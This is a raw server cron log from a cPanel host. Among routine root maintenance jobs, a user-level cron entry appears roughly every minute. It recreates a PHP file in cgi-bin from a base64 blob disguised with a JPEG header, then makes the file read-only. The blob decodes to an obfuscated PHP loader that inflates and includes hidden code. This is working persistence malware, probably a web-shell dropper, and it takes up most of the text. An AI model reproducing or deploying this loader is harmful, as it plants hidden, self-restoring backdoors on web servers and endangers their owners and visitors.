Sep  8 10:40:01 server CROND[28472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:40:01 server CROND[28470]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:40:01 server CROND[28474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:40:01 server CROND[28471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:40:01 server CROND[28467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:41:01 server CROND[29429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:41:01 server CROND[29430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:41:01 server CROND[29431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:42:01 server CROND[29819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:42:01 server CROND[29820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:42:01 server CROND[29818]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 10:42:01 server CROND[29822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:43:01 server CROND[30201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:43:01 server CROND[30202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:43:01 server CROND[30203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:44:01 server CROND[30567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:44:01 server CROND[30568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:44:01 server CROND[30569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:45:01 server CROND[30961]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:45:01 server CROND[30962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:45:01 server CROND[30968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:45:01 server CROND[30963]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:45:01 server CROND[30971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:45:01 server CROND[30972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:45:01 server CROND[30969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:46:02 server CROND[31884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:46:02 server CROND[31885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:46:02 server CROND[31886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:47:01 server CROND[32251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:47:01 server CROND[32252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:47:01 server CROND[32250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:48:01 server CROND[32639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:48:01 server CROND[32640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:48:01 server CROND[32641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:49:01 server CROND[551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:49:01 server CROND[552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:49:01 server CROND[553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:50:01 server CROND[956]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:50:01 server CROND[957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:50:01 server CROND[959]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 10:50:01 server CROND[961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:50:01 server CROND[963]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:50:01 server CROND[960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:50:01 server CROND[966]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 10:50:01 server CROND[962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:50:01 server CROND[968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:51:01 server CROND[2015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:51:01 server CROND[2017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:51:01 server CROND[2016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:52:01 server CROND[2393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
